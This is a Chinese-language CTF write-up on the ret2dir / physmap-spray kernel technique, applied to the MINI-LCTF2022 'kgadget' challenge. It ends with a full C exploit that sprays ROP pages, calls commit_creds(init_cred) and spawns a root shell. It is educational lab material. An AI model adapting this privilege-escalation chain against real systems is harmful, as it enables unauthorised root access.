附件下载链接
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文见此处:http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf 。
linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。
下图便是原论文中对 ret2dir 这种攻击的示例,我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用
比较朴素的一种使用 ret2dir 进行攻击的手法便是:
需要注意的是我们往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray 。
例题:MINI-LCTF2022 - kgadget
主要漏洞点在 kgaget_ioctl 函数上。分析如下:
总之这个函数可以执行指定位置的代码。
不过根据输出他提示信息, pt_regs 中只有 r8 和 r9 寄存器可以使用,但是除去这两个寄存器和系统调用以及传参用掉的寄存器还有 r11 和 rcx 的值没有被覆盖。
为了探究原因,首先在系统调用前将寄存器赋值为特殊值。
然后在 entry_SYSCALL_64 函数处下一个条件端点。
运行测试程序成功短在了目标位置。
观察寄存器发现 rcx 和 r11 以经被写入其他值了。因此这两个寄存器实际上是无法利用的。
漏洞利用的手段比较巧妙。
首先在用户空间喷射大量下图所示的内存页。
由于栈迁移的 gadget 占了绝大多数,因此 ioctl 执行随便一个地址的 gadget 很大概率会将栈迁移到 pt_regs 结构体。
在 pt_regs 结构体中利用 r8 和 r9 两个寄存器将栈迁移到喷射内存的区域的某个地址,很大概率会迁移到 add rsp; ret;
和 ret;
gadget 处,很大概率会最终执行到 rop 完成 提权。
返回用户空间在使用 swapgs_restore_regs_and_return_to_usermode
函数时应该注意,前面 pop 完寄存器之后除 iretq 需要的寄存器还剩 orig_rax 和 rdi ,为了缩短 rop 的长度,可以直接 retn 到标记的位置,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
exp 如下:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
const size_t try_hit = 0xffff888000000000 + 0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int dev_fd;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell() { system("/bin/sh"); }
int main() {
save_status();
dev_fd = open("/dev/kgadget", O_RDWR);
if (dev_fd < 0) {
puts("[-] Error: open kgadget");
}
page_size = sysconf(_SC_PAGESIZE);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
while (idx < (page_size / 8 - 0x30)) {
rop[idx++] = 0xffffffff810737fe;// add rsp, 0xa0; pop rbx; pop r12; pop r13; pop rbp; ret;
}
for (; idx < (page_size / 8 - 11); idx++) {
rop[idx] = 0xffffffff8108c6f1;// ret;
}
rop[idx++] = 0xffffffff8108c6f0;// pop rdi; ret;
rop[idx++] = 0xffffffff82a6b700;// init_cred
rop[idx++] = 0xffffffff810c92e0;// commit_creds
rop[idx++] = 0xffffffff81c00fb0 + 27;// swapgs_restore_regs_and_return_to_usermode + 27;
rop[idx++] = 0x0000000000000000;// padding
rop[idx++] = 0x0000000000000000;// padding
rop[idx++] = (size_t) get_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++) {
sigset_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
puts("[*] trigger physmap one_gadget...");
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0xffffffff811483d0;"// pop rsp; ret;
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);
return 0;
}